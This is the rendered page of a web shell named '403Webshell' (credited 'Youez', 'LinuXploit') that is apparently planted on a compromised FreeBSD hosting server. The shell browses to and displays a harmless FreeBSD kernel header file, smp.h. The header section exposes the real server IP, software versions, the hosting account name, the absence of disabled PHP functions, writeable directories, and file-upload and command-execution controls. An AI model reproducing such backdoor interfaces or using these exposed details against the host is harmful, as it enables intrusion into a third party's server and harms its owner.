403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.89
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/include/machine/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/include/machine//smp.h
/*-
 * ----------------------------------------------------------------------------
 * "THE BEER-WARE LICENSE" (Revision 42):
 * <phk@FreeBSD.org> wrote this file.  As long as you retain this notice you
 * can do whatever you want with this stuff. If we meet some day, and you think
 * this stuff is worth it, you can buy me a beer in return.   Poul-Henning Kamp
 * ----------------------------------------------------------------------------
 *
 * $FreeBSD: releng/12.4/sys/amd64/include/smp.h 364000 2020-08-07 00:40:28Z mav $
 *
 */

#ifndef _MACHINE_SMP_H_
#define _MACHINE_SMP_H_

#ifdef _KERNEL

#ifdef SMP

#ifndef LOCORE

#include <x86/x86_smp.h>

/* global symbols in mpboot.S */
extern char			mptramp_start[];
extern u_int32_t		mptramp_pagetables;

/* IPI handlers */
inthand_t
	IDTVEC(justreturn),	/* interrupt CPU with minimum overhead */
	IDTVEC(justreturn1_pti),
	IDTVEC(invltlb_pti),
	IDTVEC(invltlb_pcid_pti),
	IDTVEC(invltlb_pcid),	/* TLB shootdowns - global, pcid */
	IDTVEC(invltlb_invpcid_pti_pti),
	IDTVEC(invltlb_invpcid_nopti),
	IDTVEC(invlpg_pti),
	IDTVEC(invlpg_invpcid_pti),
	IDTVEC(invlpg_invpcid),
	IDTVEC(invlpg_pcid_pti),
	IDTVEC(invlpg_pcid),
	IDTVEC(invlrng_pti),
	IDTVEC(invlrng_invpcid_pti),
	IDTVEC(invlrng_invpcid),
	IDTVEC(invlrng_pcid_pti),
	IDTVEC(invlrng_pcid),
	IDTVEC(invlcache_pti),
	IDTVEC(ipi_intr_bitmap_handler_pti),
	IDTVEC(ipi_swi_pti),
	IDTVEC(cpustop_pti),
	IDTVEC(cpususpend_pti),
	IDTVEC(rendezvous_pti);

void	invltlb_pcid_handler(void);
void	invltlb_invpcid_handler(void);
void	invltlb_invpcid_pti_handler(void);
void	invlpg_invpcid_handler(void);
void	invlpg_pcid_handler(void);
void	invlrng_invpcid_handler(void);
void	invlrng_pcid_handler(void);
int	native_start_all_aps(void);
void	mp_bootaddress(vm_paddr_t *, unsigned int *);

#endif /* !LOCORE */
#endif /* SMP */

#endif /* _KERNEL */
#endif /* _MACHINE_SMP_H_ */

Youez - 2016 - github.com/yon3zu
LinuXploit